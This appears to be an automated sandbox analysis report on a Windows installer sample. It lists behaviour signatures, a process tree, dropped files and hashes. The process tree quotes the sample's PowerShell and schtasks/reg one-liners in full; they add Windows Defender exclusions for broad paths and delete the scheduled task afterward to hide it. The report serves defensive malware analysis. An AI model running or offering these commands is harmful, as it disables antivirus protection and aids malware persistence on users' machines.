Analysis

  • max time kernel
    151s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 05:02

General

  • Target
    install.2.0.09.exe
  • Size 30.5MB
  • Sample261024-fpjedshy4k
  • SHA256 4c04d15c38ec46400581dc102001579432a1e10d1ea9d87729790bef18590fda
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.09.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.09.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2436
  • C:\Users\Public\2Tb4F2\eHG9UH.exe
    "C:\Users\Public\2Tb4F2\eHG9UH.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5860
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2Tb4F2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2Tb4F2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2540
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5596
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4048
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2380
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3000
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1232
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:828
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2776
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2072
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2628
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2956
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4988
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2444
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2976
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4716
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1172
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5148
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5536
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:6008
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2Tb4F2" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:5912
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2Tb4F2" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:4824
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1424
                          • C:\Users\Public\2Tb4F2\eHG9UH.exe
                            "C:\Users\Public\2Tb4F2\eHG9UH.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1540
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4236
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:1180
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:1952
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4460
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:5760
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4596
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:2960
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:5540

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 d0aa9e9cc6088a3d0a6687b4bd600f13d54fe56ec2956b3356b01a11facfa1f6
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 1ff9e263f9a381ebb85f75e5cb369538db6c0d0bde320f28ae2f91ff328f4f67
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 7a3a783973ece19adff154cc8e548d88da83f809f03a5fb83dda7b40093ba2a4
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 bd809a0ccbef27bcaa89a431a0a188977ff623b1eeda606097fb5e2dcd082870
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_c3cbvgiv.2ky.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3cbvgiv.2ky.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\2Tb4F2\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 f07bc9ed84d7e7ee943f2d4c73a725a07854ab51ffe7b983de624a031494f0bb
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\2Tb4F2\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 c3da859092d06bb8d7b3957d04dae56524fac048a0477569ccde1251451b9f0d
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        eHG9UH.exe

                                        • Path C:\Users\Public\2Tb4F2\eHG9UH.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\2Tb4F2\msadox.tb
                                        • Size 8KB
                                        • SHA256 4af0b5e7fd4ce63839d78267f2f37b99e3616b5a0fe397fd571329c24357a06d
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/1540-586-0x00007FFA1D7A0000-0x00007FFA1D7A2000-memory.dmp

                                        memory/1540-587-0x000001CE4CB60000-0x000001CE4D437000-memory.dmp

                                        memory/1540-581-0x00007FF9FBFA0000-0x00007FF9FC4BE000-memory.dmp

                                        memory/1540-595-0x00007FFA1D790000-0x00007FFA1D792000-memory.dmp

                                        memory/1540-593-0x000001CE4CB60000-0x000001CE4D437000-memory.dmp

                                        memory/1540-594-0x000001CE4CB60000-0x000001CE4D437000-memory.dmp

                                        memory/1540-591-0x000001CE4CB60000-0x000001CE4D437000-memory.dmp

                                        memory/1540-584-0x000001CE4CB60000-0x000001CE4D437000-memory.dmp

                                        memory/1540-592-0x000001CE4CB60000-0x000001CE4D437000-memory.dmp

                                        memory/2436-523-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                        memory/2436-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                        memory/2436-524-0x00007FFA119B0000-0x00007FFA119C2000-memory.dmp

                                        memory/2436-503-0x00007FFA119B0000-0x00007FFA119C2000-memory.dmp

                                        memory/2436-1-0x00000000004E0000-0x00000000004EC000-memory.dmp

                                        memory/2560-535-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-544-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-565-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-557-0x00000271DA130000-0x00000271DA17E000-memory.dmp

                                        memory/2560-558-0x00000271DA210000-0x00000271DA29A000-memory.dmp

                                        memory/2560-559-0x00000271DA210000-0x00000271DA29A000-memory.dmp

                                        memory/2560-560-0x00000271DA210000-0x00000271DA29A000-memory.dmp

                                        memory/2560-561-0x00000271DA210000-0x00000271DA29A000-memory.dmp

                                        memory/2560-549-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-545-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-537-0x00007FFA1D7A0000-0x00007FFA1D7A2000-memory.dmp

                                        memory/2560-555-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-543-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-538-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-542-0x00000271D9510000-0x00000271D9DE7000-memory.dmp

                                        memory/2560-530-0x00007FF9FBFA0000-0x00007FF9FC4BE000-memory.dmp

                                        memory/2560-529-0x00007FFA1D790000-0x00007FFA1D792000-memory.dmp

                                        memory/5860-599-0x00000254ED450000-0x00000254ED472000-memory.dmp

                                        memory/5860-603-0x00000254ED420000-0x00000254ED43E000-memory.dmp

                                        memory/5860-604-0x00000254ED480000-0x00000254ED532000-memory.dmp

                                        memory/5860-605-0x00000254ED440000-0x00000254ED44A000-memory.dmp